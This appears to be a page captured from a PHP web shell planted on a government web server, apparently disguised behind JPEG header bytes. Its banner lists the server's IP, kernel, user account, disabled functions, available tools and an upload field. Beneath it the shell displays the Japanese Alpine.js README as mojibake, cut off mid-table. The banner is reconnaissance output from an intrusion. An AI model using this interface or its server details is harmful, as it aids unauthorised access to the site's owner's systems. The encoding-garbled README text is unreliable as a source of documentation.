ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.144.97.189 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/node_modules/alpinejs/ |
Upload File : |
# Alpine.js ![npm bundle size](https://img.shields.io/bundlephobia/minzip/alpinejs) Alpine.js ã¯ã€Vue ã‚„ React ãªã©ã®å¤§ããªãƒ•ãƒ¬ãƒ¼ãƒ ワークã®ãƒªã‚¢ã‚¯ãƒ†ã‚£ãƒ–ã§å®£è¨€çš„ãªæ€§è³ªã‚’ã¯ã‚‹ã‹ã«ä½Žã„コストã§æä¾›ã—ã¾ã™ã€‚ DOM ã‚’ä¿æŒã—ã€é©åˆ‡ãªå‹•ä½œã‚’æ–½ã™ã“ã¨ãŒã§ãã¾ã™ã€‚ [Tailwind](https://tailwindcss.com/) ã® JavaScript 版ã®ã‚ˆã†ãªã‚‚ã®ã§ã™ã€‚ > 注æ„: ã“ã®ãƒ„ールã®ã‚·ãƒ³ã‚¿ãƒƒã‚¯ã‚¹ã¯ã€ã»ã¼å®Œå…¨ã« [Vue](https://vuejs.org/)(ãã‚Œã¨ã€[Angular](https://angularjs.org/) ã«ã‚ˆã‚‹æ‹¡å¼µï¼‰ã‹ã‚‰å€Ÿç”¨ã—ã¦ã„ã¾ã™ã€‚ウェブã‹ã‚‰ã®è³œã‚Šç‰©ã«æ„Ÿè¬ã—ã¦ã„ã¾ã™ã€‚ ## Install **CDNより:** `<head>` セクションã®æœ€å¾Œã«æ¬¡ã®ã‚¹ã‚¯ãƒªãƒ—ãƒˆã‚’è¿½åŠ ã—ã¾ã™ã€‚ ```html <script src="https://cdn.jsdelivr.net/gh/alpinejs/alpine@v2.8.2/dist/alpine.js" defer></script> ``` ãã‚Œã ã‘ã§ã™ã€‚åˆæœŸã¯è‡ªèº«ã§è¡Œã‚ã‚Œã¾ã™ã€‚ **npmより:** npm ã‹ã‚‰ãƒ‘ッケージをインストールã—ã¾ã™ã€‚ ```js npm i alpinejs ``` å„自スクリプトã§ã‚¤ãƒ³ã‚¯ãƒ«ãƒ¼ãƒ‰ã—ã¾ã™ã€‚ ```js import 'alpinejs' ``` IE11 ã§ã¯ã€ãƒãƒªãƒ•ã‚£ãƒ«ã‚’æä¾›ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚次ã®ã‚¹ã‚¯ãƒªãƒ—トを上記㮠Alpine スクリプトã®å‰ã«ãƒãƒ¼ãƒ‰ã—ã¦ãã ã•ã„。 ```html <script type="module" src="https://cdn.jsdelivr.net/gh/alpinejs/alpine@v2.x.x/dist/alpine.min.js"></script> <script nomodule src="https://cdn.jsdelivr.net/gh/alpinejs/alpine@v2.x.x/dist/alpine-ie11.min.js" defer></script> ``` ## 使ㆠ*ドãƒãƒƒãƒ—ダウン/モーダル* ```html <div x-data="{ open: false }"> <button @click="open = true">Open Dropdown</button> <ul x-show="open" @click.away="open = false" > Dropdown Body </ul> </div> ``` *タブ* ```html <div x-data="{ tab: 'foo' }"> <button :class="{ 'active': tab === 'foo' }" @click="tab = 'foo'">Foo</button> <button :class="{ 'active': tab === 'bar' }" @click="tab = 'bar'">Bar</button> <div x-show="tab === 'foo'">Tab Foo</div> <div x-show="tab === 'bar'">Tab Bar</div> </div> ``` 自明ã§ã¯ãªã„ã“ã¨ã«ã‚‚使用ã§ãã¾ã™: *ホãƒãƒ¼æ™‚ã«ãƒ‰ãƒãƒƒãƒ—ダウン㮠HTML コンテンツをプリフェッãƒã™ã‚‹* ```html <div x-data="{ open: false }"> <button @mouseenter.once=" fetch('/dropdown-partial.html') .then(response => response.text()) .then(html => { $refs.dropdown.innerHTML = html }) " @click="open = true" >Show Dropdown</button> <div x-ref="dropdown" x-show="open" @click.away="open = false"> Loading Spinner... </div> </div> ``` ## Learn 次ã®14ã®ãƒ‡ã‚£ãƒ¬ã‚¯ãƒ†ã‚£ãƒ–を使用ã§ãã¾ã™ã€‚ | ディレクティブ | 説明 | | --- | --- | | [`x-data`](#x-data) | æ–°ã—ã„コンãƒãƒ¼ãƒãƒ³ãƒˆã®ã‚¹ã‚³ãƒ¼ãƒ—を宣言ã—ã¾ã™ã€‚ | | [`x-init`](#x-init) | コンãƒãƒ¼ãƒãƒ³ãƒˆãŒåˆæœŸåŒ–ã•ã‚Œã‚‹ã¨å¼ã‚’実行ã—ã¾ã™ã€‚ | | [`x-show`](#x-show) | å¼ã® `true` `false` ã«å¿œã˜ã¦ã€è¦ç´ ã® `display: none;` スタイルを切り替ãˆã¾ã™ã€‚ | | [`x-bind`](#x-bind) | 属性ã®å€¤ã«JSå¼ã®çµæžœã‚’è¨å®šã—ã¾ã™ã€‚ | | [`x-on`](#x-on) | イベントリスナーをè¦ç´ ã«ã‚¢ã‚¿ãƒƒãƒã—ã¾ã™ã€‚イベント発行時ã«æŒ‡å®šã•ã‚ŒãŸJSå¼ã‚’実行ã—ã¾ã™ã€‚ | | [`x-model`](#x-model) | `x-model` ã¯è¦ç´ ã«ã€ŒåŒæ–¹å‘データãƒã‚¤ãƒ³ãƒ‡ã‚£ãƒ³ã‚°ã€ã‚’è¿½åŠ ã—ã¾ã™ã€‚ã¤ã¾ã‚Šã€å…¥åŠ›è¦ç´ ã®å€¤ã¯ã‚³ãƒ³ãƒãƒ¼ãƒãƒ³ãƒˆãƒ‡ãƒ¼ã‚¿ã¨åŒæœŸã—ã¾ã™ã€‚ | | [`x-text`](#x-text) | `x-text` 㯠`x-bind` ã¨åŒæ§˜ã«æ©Ÿèƒ½ã—ã¾ã™ãŒã€å±žæ€§å€¤ã‚’æ›´æ–°ã™ã‚‹ä»£ã‚ã‚Šã«è¦ç´ ã® `innerText` ã‚’æ›´æ–°ã—ã¾ã™ã€‚ | | [`x-html`](#x-html) | `x-text` 㯠`x-bind` ã¨åŒæ§˜ã«æ©Ÿèƒ½ã—ã¾ã™ãŒã€å±žæ€§å€¤ã‚’æ›´æ–°ã™ã‚‹ä»£ã‚ã‚Šã«è¦ç´ ã® `innerHtml` ã‚’æ›´æ–°ã—ã¾ã™ã€‚ | | [`x-ref`](#x-ref) | コンãƒãƒ¼ãƒãƒ³ãƒˆã‹ã‚‰ç”Ÿ DOM è¦ç´ ã‚’å–å¾—ã™ã‚‹ä¾¿åˆ©ãªæ–¹æ³•ã‚’æä¾›ã—ã¾ã™ | | [`x-if`](#x-if) | DOMã‹ã‚‰å®Œå…¨ã«è¦ç´ を削除ã—ã¾ã™ã€‚`<template>` ã‚¿ã‚°ã§ãƒã‚¹ãƒˆã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚ | | [`x-for`](#x-for) | é…列ã®å„è¦ç´ ã‹ã‚‰æ–°ã—ã„DOMを作æˆã—ã¾ã™ã€‚`<template>` ã‚¿ã‚°ã§ãƒã‚¹ãƒˆã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚ | | [`x-transition`](#x-transition) | è¦ç´ ã®é·ç§»ã®æ§˜ã€…ãªæ®µéšŽã«ã‚¯ãƒ©ã‚¹ã‚’é©ç”¨ã™ã‚‹ãŸã‚ã®ãƒ‡ã‚£ãƒ¬ã‚¯ãƒ†ã‚£ãƒ–ã§ã™ã€‚ | | [`x-spread`](#x-spread) | å†åˆ©ç”¨å¯èƒ½ãªAlpineディレクティブã®ã‚ªãƒ–ジェクトをè¦ç´ ã«ãƒã‚¤ãƒ³ãƒ‰ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ | | [`x-cloak`](#x-cloak) | ã“ã®å±žæ€§ã¯Alpineã®åˆæœŸåŒ–時ã«å‰Šé™¤ã•ã‚Œã¾ã™ã€‚ã“ã‚Œã¯ã€äº‹å‰ã«åˆæœŸåŒ–ã•ã‚ŒãŸDOMã‚’éš ã™ã®ã«å½¹ç«‹ã¡ã¾ã™ã€‚ | ãã‚Œã¨6ã¤ã®ãƒžã‚¸ãƒƒã‚¯ãƒ—ãƒãƒ‘ティ: | マジックプãƒãƒ‘ティ | 説明 | | --- | --- | | [`$el`](#el) | ルートコンãƒãƒ¼ãƒãƒ³ãƒˆã®DOMノードをå–å¾—ã§ãã¾ã™ã€‚ | | [`$refs`](#refs) | コンãƒãƒ¼ãƒãƒ³ãƒˆå†…ã® `x-ref` ã§ãƒžãƒ¼ã‚¯ã•ã‚ŒãŸDOMè¦ç´ ã‚’å–å¾—ã§ãã¾ã™ã€‚ | | [`$event`](#event) | イベントリスナ内ã§ãƒã‚¤ãƒ†ã‚£ãƒ–ブラウザã®ã€ŒEventã€ã‚ªãƒ–ジェクトをå–å¾—ã§ãã¾ã™ã€‚ | | [`$dispatch`](#dispatch) | `CustomEvent` を作æˆã—ã€å†…部的ã«`.dispatchEvent()`を使用ã—ã¦ãƒ‡ã‚£ã‚¹ãƒ‘ッãƒã—ã¾ã™ã€‚ | | [`$nextTick`](#nexttick) | AlpineãŒãƒªã‚¢ã‚¯ãƒ†ã‚£ãƒ–ãªDOMæ›´æ–°ã‚’è¡Œã£ãŸå¾Œã«å®Ÿè¡Œã™ã‚‹å¼ã‚’指定ã§ãã¾ã™ã€‚ | | [`$watch`](#watch) | コンãƒãƒ¼ãƒãƒ³ãƒˆã®ãƒ—ãƒãƒ‘ティを「監視ã€ã—ã€å¤‰æ›´ãŒã‚ã£ãŸã¨ãã«æŒ‡å®šã•ã‚ŒãŸã‚³ãƒ¼ãƒ«ãƒãƒƒã‚¯ã‚’実行ã—ã¾ã™ã€‚ | ### ディレクティブ --- ### `x-data` **例:** `<div x-data="{ foo: 'bar' }">...</div>` **æ§‹é€ :** `<div x-data="[object literal]">...</div>` `x-data` ã¯æ–°ã—ã„コンãƒãƒ¼ãƒãƒ³ãƒˆã‚¹ã‚³ãƒ¼ãƒ—を宣言ã—ã¾ã™ã€‚フレームワークã«ã€ãƒ‡ãƒ¼ã‚¿ã‚ªãƒ–ジェクトを使用ã—ã¦æ–°ã—ã„コンãƒãƒ¼ãƒãƒ³ãƒˆã‚’åˆæœŸåŒ–ã™ã‚‹ã‚ˆã†æŒ‡ç¤ºã—ã¾ã™ã€‚ Vue コンãƒãƒ¼ãƒãƒ³ãƒˆã® `data` プãƒãƒ‘ティã®ã‚ˆã†ã«è€ƒãˆã¦ãã ã•ã„。 **コンãƒãƒ¼ãƒãƒ³ãƒˆãƒã‚¸ãƒƒã‚¯ã®æŠ½å‡º** データ(ã¨å‹•ä½œï¼‰ã‚’å†åˆ©ç”¨å¯èƒ½ãªé–¢æ•°ã«æŠ½å‡ºã§ãã¾ã™: ```html <div x-data="dropdown()"> <button x-on:click="open()">オープン</button> <div x-show="isOpen()" x-on:click.away="close()"> // ドãƒãƒƒãƒ—ダウン </div> </div> <script> function dropdown() { return { show: false, open() { this.show = true }, close() { this.show = false }, isOpen() { return this.show === true }, } } </script> ``` オブジェクトã®æ§‹é€ 化を使用ã—ã¦ã€è¤‡æ•°ã®ãƒ‡ãƒ¼ã‚¿ã‚ªãƒ–ジェクトを混在も出æ¥ã¾ã™: ```html <div x-data="{...dropdown(), ...tabs()}"> ``` --- ### `x-init` **例:** `<div x-data="{ foo: 'bar' }" x-init="foo = 'baz'"></div>` **æ§‹é€ :** `<div x-data="..." x-init="[å¼]"></div>` `x-init` ã¯ã‚³ãƒ³ãƒãƒ¼ãƒãƒ³ãƒˆãŒåˆæœŸåŒ–ã•ã‚Œã‚‹ã¨å¼ã‚’実行ã—ã¾ã™ã€‚ Alpine ㌠DOM(VueJS ã® `mounted()` フックã®ã‚ˆã†ãªã‚‚ã®ï¼‰ã«æœ€åˆã®æ›´æ–°ã‚’è¡Œã£ãŸå¾Œã«ã‚³ãƒ¼ãƒ‰ã‚’実行ã—ãŸã„å ´åˆã€`x-init` ã‹ã‚‰ã‚³ãƒ¼ãƒ«ãƒãƒƒã‚¯ã‚’è¿”ã™ã“ã¨ãŒã§ãã€ãã®å¾Œå®Ÿè¡Œã•ã‚Œã¾ã™ï¼š `x-init="return () => { // ã“ã“ã§åˆæœŸåŒ–後㮠DOM ステートã«ã‚¢ã‚¯ã‚»ã‚¹ã§ãã¾ã™ // }"` --- ### `x-show` **例:** `<div x-show="open"></div>` **æ§‹é€ :** `<div x-show="[å¼]]"></div>` `x-show` ã¯ã€å¼ãŒ `true` ã¾ãŸã¯ `false` ã®ã©ã¡ã‚‰ã‹ã®çµæžœã«ã‚ˆã£ã¦ã€è¦ç´ ã® `display: none;` スタイルを切り替ãˆã¾ã™ã€‚ --- ### `x-bind` > 注æ„: çŸã„「:ã€ã‚·ãƒ³ã‚¿ãƒƒã‚¯ã‚¹ã‚’使ãˆã¾ã™: `:type="..."` **例:** `<input x-bind:type="inputType">` **æ§‹é€ :** `<input x-bind:[属性]="[å¼]">` `x-bind` ã¯ã€å±žæ€§ã®å€¤ã‚’ JavaScript å¼ã®çµæžœã‚’è¨å®šã—ã¾ã™ã€‚ã“ã®å¼ã¯ã€ã‚³ãƒ³ãƒãƒ¼ãƒãƒ³ãƒˆã®ãƒ‡ãƒ¼ã‚¿ã‚ªãƒ–ジェクトã®ã™ã¹ã¦ã®ã‚ーã«ã‚¢ã‚¯ã‚»ã‚¹ã§ãã€ãƒ‡ãƒ¼ã‚¿ãŒæ›´æ–°ã•ã‚Œã‚‹ãŸã³ã«åæ˜ ã•ã‚Œã¾ã™ã€‚ > 注æ„: 属性ãƒã‚¤ãƒ³ãƒ‡ã‚£ãƒ³ã‚°ã¯ã€ä¾å˜é–¢ä¿‚ãŒæ›´æ–°ã•ã‚ŒãŸã¨ãã«ã®ã¿æ›´æ–°ã•ã‚Œã¾ã™ã€‚ã“ã®ãƒ•ãƒ¬ãƒ¼ãƒ ワークã¯ã€ãƒ‡ãƒ¼ã‚¿ã®å¤‰åŒ–を観察ã—ã€ã©ã®ãƒã‚¤ãƒ³ãƒ‡ã‚£ãƒ³ã‚°ãŒãれらを検出ã™ã‚‹ã®ã‹æœ€é©åŒ–ã•ã‚Œã¦ã„ã¾ã™ã€‚ **`x-bind` for class attributes** `x-bind` ã¯ã€`class` 属性ã«ãƒã‚¤ãƒ³ãƒ‰ã™ã‚‹ã¨ãã®å‹•ä½œãŒå°‘ã—ç•°ãªã‚Šã¾ã™ã€‚ クラスã®å ´åˆã€ã‚ーãŒã‚¯ãƒ©ã‚¹åã§ã‚ã‚Šã€å€¤ãŒãれらã®ã‚¯ãƒ©ã‚¹åãŒé©ç”¨ã•ã‚Œã‚‹ã‹ã©ã†ã‹ã‚’決定ã™ã‚‹ãƒ–ールå¼ã§ã‚るオブジェクトを渡ã—ã¾ã™ã€‚ 例: `<div x-bind:class="{ 'hidden': foo }"></div>` ã“ã®ä¾‹ã§ã¯ã€ã€Œhiddenã€ã‚¯ãƒ©ã‚¹ã¯ã€`foo` データ属性値㌠`true` ã®å ´åˆã«ã®ã¿é©ç”¨ã•ã‚Œã¾ã™ã€‚ **ブール属性㮠`x-bind`** `x-bind` ã¯ã€å€¤å±žæ€§ã¨åŒã˜æ–¹æ³•ã§ãƒ–ール値属性をサãƒãƒ¼ãƒˆã—ã¾ã™ã€‚æ¡ä»¶ã¨ã—ã¦å¤‰æ•°ã‚’使用ã™ã‚‹ã‹ã€`true` ã¾ãŸã¯ `false` ã«è§£æ±ºã•ã‚Œã‚‹ JavaScript å¼ã‚’使用ã—ã¾ã™ã€‚ 例: `<button x-bind:disabled="myVar">Click me</button>` `myVar` ㌠true ã¾ãŸã¯ false ã®å ´åˆã« `disabled` å±žæ€§ã‚’è¿½åŠ ã¾ãŸã¯å‰Šé™¤ã—ã¾ã™ã€‚ `readonly`, `required` ãªã©ã€æœ€ã‚‚一般的ãªãƒ–ール属性ãŒã‚µãƒãƒ¼ãƒˆã•ã‚Œã¦ã„ã¾ã™ã€‚ --- ### `x-on` > 注æ„: よりçŸã„「@ã€ã‚·ãƒ³ã‚¿ãƒƒã‚¯ã‚¹ã‚’自由ã«ä½¿ç”¨ã§ãã¾ã™: `@click="..."` **例:** `<button x-on:click="foo = 'bar'"></button>` **æ§‹é€ :** `<button x-on:[event]="[expression]"></button>` `x-on` ã¯ã€ã‚¤ãƒ™ãƒ³ãƒˆãƒªã‚¹ãƒŠã‚’宣言ã•ã‚ŒãŸè¦ç´ ã«ã‚¢ã‚¿ãƒƒãƒã—ã¾ã™ã€‚ãã®ã‚¤ãƒ™ãƒ³ãƒˆãŒç™ºè¡Œã•ã‚Œã‚‹ã¨ã€ãã®å€¤ã¨ã—ã¦è¨å®šã•ã‚ŒãŸ JavaScript å¼ãŒå®Ÿè¡Œã•ã‚Œã¾ã™ã€‚ å¼ã§ãƒ‡ãƒ¼ã‚¿ãŒå¤‰æ›´ã•ã‚Œã‚‹ã¨ã€ã“ã®ãƒ‡ãƒ¼ã‚¿ã«ã€Œãƒã‚¤ãƒ³ãƒ‰ã•ã‚ŒãŸã€ä»–ã®è¦ç´ 属性ãŒæ›´æ–°ã•ã‚Œã¾ã™ã€‚ **`keydown` 修飾å** **例:** `<input type="text" x-on:keydown.escape="open = false">` `x-on:keydown` ディレクティブã«è¿½åŠ ã•ã‚ŒãŸ keydown 修飾åを使用ã—ã€å¾…ã¡å—ã‘ã™ã‚‹ç‰¹å®šã®ã‚ーを指定ã§ãã¾ã™ã€‚修飾å㯠`Event.key` 値ã®ã‚±ãƒãƒ–ケースã§ã‚ã‚‹ã“ã¨ã«æ³¨æ„ã—ã¦ãã ã•ã„。 例: `enter`, `escape`, `arrow-up`, `arrow-down` > 注æ„: 次ã®ã‚ˆã†ãªã‚·ã‚¹ãƒ†ãƒ 修飾åã‚ーã®çµ„ã¿åˆã‚ã›ã‚’å¾…ã¡å—ã‘ã‚‚ã§ãã¾ã™: `x-on:keydown.cmd.enter="foo"` **`.away` 修飾å** **例:** `<div x-on:click.away="showModal = false"></div>` `.away` 修飾åを付与ã™ã‚‹ã¨ã€ã‚¤ãƒ™ãƒ³ãƒˆãŒãれ自体ã¾ãŸã¯ãã®å以外ã®ã‚½ãƒ¼ã‚¹ã‹ã‚‰ç™ºç”Ÿã—ãŸå ´åˆã«ã®ã¿ã‚¤ãƒ™ãƒ³ãƒˆãƒãƒ³ãƒ‰ãƒ©ã¯å®Ÿè¡Œã•ã‚Œã¾ã™ã€‚ ユーザãŒã‚¯ãƒªãƒƒã‚¯ã—ãŸã¨ãã«ãƒ‰ãƒãƒƒãƒ—ダウンやモーダルをéžè¡¨ç¤ºã«ã™ã‚‹ã®ã«ä¾¿åˆ©ã§ã™ã€‚ **`.prevent` 修飾å** **例:** `<input type="checkbox" x-on:click.prevent>` イベントリスナ㫠`.prevent` ã‚’è¿½åŠ ã™ã‚‹ã¨ã€ãƒˆãƒªã‚¬ã•ã‚ŒãŸã‚¤ãƒ™ãƒ³ãƒˆã§ `preventDefault` ãŒå‘¼ã³å‡ºã•ã‚Œã¾ã™ã€‚上記ã®ä¾‹ã§ã¯ã€ãƒ¦ãƒ¼ã‚¶ãŒã‚¯ãƒªãƒƒã‚¯ã—ãŸã¨ãã«ãƒã‚§ãƒƒã‚¯ãƒœãƒƒã‚¯ã‚¹ãŒå®Ÿéš›ã«ãƒã‚§ãƒƒã‚¯ã•ã‚Œãªã„ã“ã¨ã‚’æ„味ã—ã¾ã™ã€‚ **`.stop` 修飾å** **例:** `<div x-on:click="foo = 'bar'"><button x-on:click.stop></button></div>` イベントリスナ㫠`.stop` ã‚’è¿½åŠ ã™ã‚‹ã¨ã€ãƒˆãƒªã‚¬ã•ã‚ŒãŸã‚¤ãƒ™ãƒ³ãƒˆã§ `stopPropagation` ãŒå‘¼ã³å‡ºã•ã‚Œã¾ã™ã€‚上記ã®ä¾‹ã§ã¯ã€ãƒœã‚¿ãƒ³ã‹ã‚‰å¤–å´ã® `<div>` ã«ã€Œclickã€ã‚¤ãƒ™ãƒ³ãƒˆãŒæµ®ä¸Šã—ãªã„ã“ã¨ã‚’æ„味ã—ã¾ã™ã€‚言ã„æ›ãˆã‚‹ã¨ã€ãƒ¦ãƒ¼ã‚¶ãŒãƒœã‚¿ãƒ³ã‚’クリックã—ã¦ã‚‚ã€`foo` 㯠`'bar'` ã«è¨å®šã•ã‚Œã¾ã›ã‚“。 **`.window` 修飾å** **例:** `<div x-on:resize.window="isOpen = window.outerWidth > 768 ? false : open"></div>` イベントリスナ㫠`.window` を付与ã™ã‚‹ã¨ã€ãã‚ŒãŒå®£è¨€ã•ã‚Œã¦ã„ã‚‹ DOM ノードã§ã¯ãªãã€ã‚°ãƒãƒ¼ãƒãƒ« window オブジェクトã«ãƒªã‚¹ãƒŠãŒã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã•ã‚Œã¾ã™ã€‚ã“ã‚Œã¯ã€resize イベントãªã© window ã§ä½•ã‹ãŒå¤‰æ›´ã•ã‚ŒãŸã¨ãã«ã‚³ãƒ³ãƒãƒ¼ãƒãƒ³ãƒˆã®çŠ¶æ…‹ã‚’変更ã™ã‚‹å ´åˆã«å½¹ç«‹ã¡ã¾ã™ã€‚ã“ã®ä¾‹ã§ã¯ã€ã‚¦ã‚£ãƒ³ãƒ‰ã‚¦ã®å¹…ãŒ768ピクセルを超ãˆãŸå ´åˆã€ãƒ¢ãƒ¼ãƒ€ãƒ«/ドãƒãƒƒãƒ—ダウンを閉ã˜ã¾ã™ã€‚ãれ以外ã®å ´åˆã¯åŒã˜çŠ¶æ…‹ã‚’ç¶æŒã—ã¾ã™ã€‚ > 注æ„: `.document` 修飾åを使用ã—ã¦ã€ãƒªã‚¹ãƒŠã‚’ `window` ã®ä»£ã‚ã‚Šã« `document` ã«ã‚¢ã‚¿ãƒƒãƒã™ã‚‹ã“ã¨ã‚‚ã§ãã¾ã™ã€‚ **`.once` 修飾å** **例:** `<button x-on:mouseenter.once="fetchSomething()"></button>` イベントリスナ㫠`.once` 修飾åを付与ã™ã‚‹ã¨ã€ãƒªã‚¹ãƒŠãŒ1回ã ã‘処ç†ã•ã‚Œã‚‹ã“ã¨ãŒä¿è¨¼ã•ã‚Œã¾ã™ã€‚HTML パーシャルã®å–å¾—ãªã©ã€1度ã ã‘実行ã—ãŸã„å ´åˆã«ä¾¿åˆ©ã§ã™ã€‚ --- ### `x-model` **例:** `<input type="text" x-model="foo">` **æ§‹é€ :** `<input type="text" x-model="[data item]">` `x-model` ã¯è¦ç´ ã«ã€ŒåŒæ–¹å‘データãƒã‚¤ãƒ³ãƒ‡ã‚£ãƒ³ã‚°ã€ã‚’è¿½åŠ ã—ã¾ã™ã€‚ã¤ã¾ã‚Šã€å…¥åŠ›è¦ç´ ã®å€¤ã¯ã‚³ãƒ³ãƒãƒ¼ãƒãƒ³ãƒˆã®é …目データã®å€¤ã¨åŒæœŸã—ã¾ã™ã€‚ > 注æ„: `x-model` ã¯ã€ãƒ†ã‚ストインプットã€ãƒã‚§ãƒƒã‚¯ãƒœãƒƒã‚¯ã‚¹ã€ãƒ©ã‚¸ã‚ªãƒœã‚¿ãƒ³ã€ãƒ†ã‚ストエリアã€ã‚»ãƒ¬ã‚¯ãƒˆã€ãŠã‚ˆã³ãƒžãƒ«ãƒã‚»ãƒ¬ã‚¯ãƒˆã®å¤‰æ›´ã‚’検出ã™ã‚‹ã®ã«æœ€é©ã§ã™ã€‚ã“れらã®ã‚·ãƒŠãƒªã‚ªã§ [Vue ãŒã©ã®ã‚ˆã†ã«](https://vuejs.org/v2/guide/forms.html)動作ã™ã‚‹ã®ã‹ç¢ºèªã—ã¦ãã ã•ã„。 --- ### `x-text` **例:** `<span x-text="foo"></span>` **æ§‹é€ :** `<span x-text="[expression]"` `x-text` 㯠`x-bind` ã¨åŒæ§˜ã«æ©Ÿèƒ½ã—ã¾ã™ãŒã€å±žæ€§å€¤ã‚’æ›´æ–°ã™ã‚‹ä»£ã‚ã‚Šã«è¦ç´ ã® `innerText` ã‚’æ›´æ–°ã—ã¾ã™ã€‚ --- ### `x-html` **例:** `<span x-html="foo"></span>` **æ§‹é€ :** `<span x-html="[expression]"` `x-html` 㯠`x-bind` ã¨åŒæ§˜ã«æ©Ÿèƒ½ã—ã¾ã™ãŒã€å±žæ€§ã®å€¤ã‚’æ›´æ–°ã™ã‚‹ä»£ã‚ã‚Šã«è¦ç´ ã® `innerHTML` ã‚’æ›´æ–°ã—ã¾ã™ã€‚ --- ### `x-ref` **例:** `<div x-ref="foo"></div><button x-on:click="$refs.foo.innerText = 'bar'"></button>` **æ§‹é€ :** `<div x-ref="[ref name]"></div><button x-on:click="$refs.[ref name].innerText = 'bar'"></button>` `x-ref` ã¯ã€ã‚³ãƒ³ãƒãƒ¼ãƒãƒ³ãƒˆã‹ã‚‰ç”Ÿ DOM è¦ç´ ã‚’å–å¾—ã™ã‚‹ä¾¿åˆ©ãªæ–¹æ³•ã‚’æä¾›ã—ã¾ã™ã€‚è¦ç´ ã« `x-ref` 属性をè¨å®šã™ã‚‹ã“ã¨ã§ã€ã™ã¹ã¦ã®ã‚¤ãƒ™ãƒ³ãƒˆãƒãƒ³ãƒ‰ãƒ©ã§ `$refs` ã¨ã„ã†ã‚ªãƒ–ジェクト内ã‹ã‚‰åˆ©ç”¨ã§ãるよã†ã«ãªã‚Šã¾ã™ã€‚ ã“ã‚Œã¯ã€ID ã‚’è¨å®šã—ã€ã‚ã‚‰ã‚†ã‚‹å ´æ‰€ã§ `document.querySelector` を使用ã™ã‚‹ä»£æ›¿æ‰‹æ®µã«å½¹ç«‹ã¡ã¾ã™ã€‚ --- ### `x-if` **例:** `<template x-if="true"><div>Some Element</div></template>` **æ§‹é€ :** `<template x-if="[expression]"><div>Some Element</div></template>` `x-show` ã§ã¯ä¸å分ãªå ´åˆï¼ˆ`x-show` ㌠false ã®å ´åˆã€è¦ç´ ã‚’ `display: none` ã«è¨å®šã—ã¾ã™ï¼‰ã€`x-if` を使用ã—㦠DOM ã‹ã‚‰è¦ç´ を完全ã«å‰Šé™¤ã§ãã¾ã™ã€‚ Alpine ã¯ä»®æƒ³ DOM を使用ã—ãªã„ãŸã‚ã€`<template></template>` タグ㧠`x-if` を使用ã™ã‚‹ã“ã¨ãŒé‡è¦ã§ã™ã€‚ã“ã®å®Ÿè£…ã«ã‚ˆã‚Šã€Alpine ã¯å …牢性をä¿ã¡ã€å®Ÿéš›ã® DOM を使用ã—ã¦ãã®ä»•æ§˜ã‚’åƒã‹ã›ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ > 注æ„: `x-if` ã«ã¯ã€`<template></template>` タグ内ã«å˜ä¸€è¦ç´ ã®ãƒ«ãƒ¼ãƒˆãŒå¿…è¦ã§ã™ã€‚ --- ### `x-for` **例:** ```html <template x-for="item in items" :key="item"> <div x-text="item"></div> </template> ``` `x-for` ã¯ã€é…列ã®å„アイテム毎ã«æ–°ã—ã„ DOM ノードを作æˆã™ã‚‹å ´åˆã«ä½¿ç”¨ã—ã¾ã™ã€‚ã“ã‚Œã¯ã€Vue ã® `v-for` ã«ä¼¼ã¦ã„ã¾ã™ã€‚ãŸã ã—ã€é€šå¸¸ã® DOM è¦ç´ ã§ã¯ãªãã€`template` ã‚¿ã‚°ã«å˜åœ¨ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚ > 注æ„: `:key` ãƒã‚¤ãƒ³ãƒ‡ã‚£ãƒ³ã‚°ã¯ã‚ªãƒ—ションã§ã™ãŒã€å¼·ã推奨ã—ã¦ã„ã¾ã™ã€‚ --- ### `x-transition` **例:** ```html <div x-show="open" x-transition:enter="transition ease-out duration-300" x-transition:enter-start="opacity-0 transform scale-90" x-transition:enter-end="opacity-100 transform scale-100" x-transition:leave="transition ease-in duration-300" x-transition:leave-start="opacity-100 transform scale-100" x-transition:leave-end="opacity-0 transform scale-90" >...</div> ``` ```html <template x-if="open"> <div x-transition:enter="transition ease-out duration-300" x-transition:enter-start="opacity-0 transform scale-90" x-transition:enter-end="opacity-100 transform scale-100" x-transition:leave="transition ease-in duration-300" x-transition:leave-start="opacity-100 transform scale-100" x-transition:leave-end="opacity-0 transform scale-90" >...</div> </template> ``` Alpine ã¯ã€ã€Œéžè¡¨ç¤ºã€ã¨ã€Œè¡¨ç¤ºã€ã®é·ç§»é–“ã®ã•ã¾ã–ã¾ãªæ®µéšŽã«ã‚¯ãƒ©ã‚¹ã‚’è¦ç´ ã«é©ç”¨ã™ã‚‹ãŸã‚ã®6ã¤ã®ç•°ãªã‚‹ãƒˆãƒ©ãƒ³ã‚¸ã‚·ãƒ§ãƒ³ãƒ‡ã‚£ãƒ¬ã‚¯ãƒ†ã‚£ãƒ–ã‚’æä¾›ã—ã¾ã™ã€‚ã“れらã®ãƒ‡ã‚£ãƒ¬ã‚¯ãƒ†ã‚£ãƒ–ã¯ã€`x-show` 㨠`x-if` ã®ä¸¡æ–¹ã§æ©Ÿèƒ½ã—ã¾ã™ã€‚ ã“れらã¯ã€VueJs ã®ãƒˆãƒ©ãƒ³ã‚¸ã‚·ãƒ§ãƒ³ãƒ‡ã‚£ãƒ¬ã‚¯ãƒ†ã‚£ãƒ–ã¨ã¾ã£ãŸãåŒã˜ã‚ˆã†ã«å‹•ä½œã—ã¾ã™ãŒã€ã‚ˆã‚Šç†ã«ã‹ãªã£ãŸç•°ãªã‚‹åå‰ã‚’æŒã£ã¦ã„ã¾ã™ã€‚ | ディレクティブ | 説明 | | --- | --- | | `:enter` | 